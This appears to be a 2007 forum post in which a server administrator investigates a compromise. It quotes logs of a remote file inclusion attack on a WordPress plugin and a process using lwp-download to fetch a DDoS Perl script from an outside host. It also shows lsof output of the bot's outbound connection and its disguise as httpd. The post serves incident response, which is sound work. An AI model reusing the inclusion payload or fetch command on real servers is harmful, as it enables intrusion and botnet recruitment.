Ok, tracked the son of a #$#$ . After disabling wget, curl and fetch he used lwp-download to grab the script.
I found the vulnerable script as well:
Code:
88.84.133.139 - - [01/Jun/2007:11:04:59 -0400] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 200 743 "-" "libwww-perl/5.803"
Code:
[Fri Jun 1 11:04:59 2007] [error] PHP Fatal error: Call to undefined function: get_settings() in /home/username/public_html/wp-content/plugins/wordtube/wordtube-button.php on line 26
Unfortunately, all modsec rules didn't protect against such attack!
Code:
PID TT STAT TIME COMMAND
92481 ?? S 0:00.14 /usr/local/bin/perl -w /usr/local/bin/lwp-download http://alienr0x.by.ru/.ddos.pl
===========
ERROR_LOG:
fetch: Permission denied
GET: not found
Can't open perl script ".ddos.pl": No such file or directory
wget: Permission denied
Can't open perl script ".ddos.pl": No such file or directory
curl: Permission denied
Can't open perl script ".ddos.pl": No such file or directory
fetch: Permission denied
GET: not found
Can't open perl script ".ddos.pl": No such file or directory
lsof -p was useless in this case except to tell what port the script was using:
Code:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl5.8.8 86004 nobody cwd VDIR 0,88 512 2 /
perl5.8.8 86004 nobody rtd VDIR 0,88 512 2 /
perl5.8.8 86004 nobody txt VREG 0,93 9424 259229 /usr/local/bin/perl
perl5.8.8 86004 nobody txt VREG 0,88 158744 15 /libexec/ld-elf.so.1
perl5.8.8 86004 nobody txt VREG 0,93 1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
perl5.8.8 86004 nobody txt VREG 0,88 98120 25740 /lib/libm.so.4
perl5.8.8 86004 nobody txt VREG 0,88 28680 25738 /lib/libcrypt.so.3
perl5.8.8 86004 nobody txt VREG 0,88 43572 25744 /lib/libutil.so.5
perl5.8.8 86004 nobody txt VREG 0,88 922644 25749 /lib/libc.so.6
perl5.8.8 86004 nobody txt VREG 0,93 16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
perl5.8.8 86004 nobody txt VREG 0,93 23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
perl5.8.8 86004 nobody 0r VCHR 0,6 0t0 6 /dev/null
perl5.8.8 86004 nobody 1u PIPE 0xc9ddf3e8 0 ->0xc9ddf330
perl5.8.8 86004 nobody 2w VREG 0,93 10664180 361284 /usr/local/apache/logs/error_log
perl5.8.8 86004 nobody 3u IPv4 0xc8958910 0t0 TCP our.server.name.com:63021->206.81.62-30.spansurf.net:60000
perl5.8.8 86004 nobody 4u VREG 0,91 0 119 /tmp (/dev/aacd0s1d)
perl5.8.8 86004 nobody 15w VREG 0,93 8482765 361945 /usr/local/apache/logs/audit_log
perl5.8.8 86004 nobody 16w VREG 0,93 0 362171 /usr/local/apache/logs/modsec_debug_log
perl5.8.8 86004 nobody 17w VREG 0,93 8482765 361945 /usr/local/apache/logs/audit_log
perl5.8.8 86004 nobody 18w VREG 0,93 10664180 361284 /usr/local/apache/logs/error_log
Doing ps -waux should
Code:
nobody 86004 84.1 0.1 4792 4204 ?? R 10:38AM 22:51.66 /usr/sbin/httpd (perl5.8.8)
Which is defnitely faked